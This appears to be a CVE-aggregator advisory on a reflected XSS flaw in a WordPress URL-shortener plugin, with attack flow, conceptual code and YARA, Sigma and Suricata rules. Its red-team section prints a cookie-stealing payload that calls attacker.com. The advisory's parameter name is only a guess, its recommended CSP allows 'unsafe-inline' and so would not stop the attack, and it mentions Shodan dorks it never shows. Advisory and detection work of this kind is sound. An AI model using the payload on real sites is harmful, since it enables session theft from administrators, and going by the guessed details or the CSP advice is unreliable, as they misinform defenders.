CVE-2024-13868
Executive Summary
CVE-2024-13868 is a Reflected Cross-Site Scripting (XSS) vulnerability in the YITH URL Shortener | Conversion Tracking | AB Testing | WooCommerce WordPress plugin (versions through 9.0.2). The plugin fails to sanitize and escape a parameter before outputting it back in the page, allowing an attacker to inject arbitrary JavaScript. This vulnerability can be exploited against high-privilege users such as administrators, potentially leading to session hijacking, credential theft, or privilege escalation within the WordPress ecosystem.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and potentially through third-party marketplaces. The lack of a patch at the time of analysis means that all installations of the plugin up to version 9.0.2 are at risk. Users should monitor the plugin’s update channel for a patched version and consider disabling the plugin until a fix is available.
CVSS Breakdown & Threat Level
- CVSS Score: 6.1 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required (victim must click a crafted link)
- Scope: Changed (impact may extend beyond the vulnerable component)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. While the CVSS score is moderate, the ability to target high-privilege users (admins) significantly increases the risk, as a successful attack could lead to full WordPress site compromise.
Deep Dive & Mechanics
The vulnerability resides in the YITH URL Shortener plugin, which is used for URL shortening, conversion tracking, and A/B testing in WooCommerce environments. The plugin does not properly sanitize or escape a specific parameter (likely a GET or POST parameter) before reflecting it in the HTML output. This allows an attacker to craft a malicious URL containing JavaScript code. When a victim (especially an admin) clicks the link, the script executes in the context of the victim’s session.
Root Cause: The plugin uses echo or similar output functions without applying WordPress’s built-in escaping functions like esc_html(), esc_attr(), or wp_kses_post(). This is a classic example of insufficient input validation and output encoding.
Attack Flow:
- Attacker crafts a URL:
https://victim-site.com/?yith_shortener=<script>alert('XSS')</script> - Attacker sends the link to a logged-in admin via email, social engineering, or other means.
- Admin clicks the link while authenticated.
- The plugin reflects the unsanitized parameter in the page, executing the attacker’s script.
- The script can steal cookies, perform actions on behalf of the admin, or inject malicious content.
Vulnerable vs. Patched Code
Since no official patch is available, the vulnerable code pattern is described below. A patched version would use proper escaping.
Vulnerable Code (Conceptual):
<?php
// In some plugin file (e.g., yith-url-shortener.php)
$param = $_GET['yith_shortener'];
echo '<div class="shortener-output">' . $param . '</div>';
?>
Patched Code (Conceptual):
<?php
$param = isset($_GET['yith_shortener']) ? sanitize_text_field($_GET['yith_shortener']) : '';
echo '<div class="shortener-output">' . esc_html($param) . '</div>';
?>
The patched version uses sanitize_text_field() to strip dangerous characters and esc_html() to encode HTML entities, preventing script execution.
Exploitation & Lab Setup
Red Team (Offensive)
Proof of Concept (PoC):
- Identify a WordPress site running the vulnerable plugin (version <= 9.0.2).
- Craft a malicious URL:
https://target-site.com/?yith_shortener=<script>alert(document.cookie)</script> - Send the link to a logged-in admin (e.g., via email or social media).
- When the admin clicks the link, the JavaScript executes, displaying the admin’s cookies.
Advanced Payload (Session Hijacking):
https://target-site.com/?yith_shortener=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Lab Setup:
- Use a local WordPress installation with the YITH URL Shortener plugin (version 9.0.2).
- Set up a simple HTTP server (e.g., using Python) to capture stolen data.
- Use a browser with developer tools to observe the reflected XSS.
Blue Team (Defensive)
Detection:
- Monitor web server logs for requests containing suspicious patterns in the
yith_shortenerparameter (e.g.,<script>,onerror=,javascript:). - Use Web Application Firewall (WAF) rules to block common XSS payloads.
Mitigation:
- Disable the plugin until a patch is released.
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Educate users about phishing attacks that exploit reflected XSS.
Indicators of Compromise (IOCs)
- URL Pattern:
?yith_shortener=<script>or similar XSS payloads in the query string. - HTTP Request: GET requests to the WordPress site with the
yith_shortenerparameter containing HTML/JavaScript. - Log Entries: Web server logs showing requests with
yith_shortenerparameter containing<,>,script, oronerror. - Network Traffic: Outbound connections from the victim’s browser to attacker-controlled domains (if payload exfiltrates data).
Detection Engineering
YARA Rule
rule CVE_2024_13868_YITH_XSS {
meta:
description = "Detects reflected XSS attempts against YITH URL Shortener plugin"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2024-13868"
strings:
$param = "yith_shortener"
$xss1 = /<script[^>]*>/i
$xss2 = /onerror\s*=/i
$xss3 = /javascript\s*:/i
condition:
$param and ($xss1 or $xss2 or $xss3)
}
Sigma Rule
title: Reflected XSS via YITH URL Shortener Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with XSS payloads in the yith_shortener parameter
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-uri-query|contains: "yith_shortener="
keywords:
- "<script"
- "onerror="
- "javascript:"
condition: selection and keywords
falsepositives:
- Legitimate use of the parameter with safe values (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-13868 - Reflected XSS in YITH URL Shortener"; flow:to_server,established; content:"yith_shortener="; http_uri; pcre:"/(<script|onerror=|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patched version is released.
- Implement a Web Application Firewall (WAF) rule to block requests containing XSS payloads in the
yith_shortenerparameter. - Add Content Security Policy (CSP) headers to restrict script execution:
(Note:Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; object-src 'none''unsafe-inline'may be needed for legitimate scripts but should be avoided if possible.)
Long-term Fix:
- The vendor must release a patched version that properly sanitizes and escapes the
yith_shortenerparameter using WordPress functions likesanitize_text_field()andesc_html(). - Users should update to the latest version once available.
Workaround:
- If the plugin cannot be disabled, manually edit the plugin file to add escaping (not recommended for non-developers, as updates will overwrite changes).
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.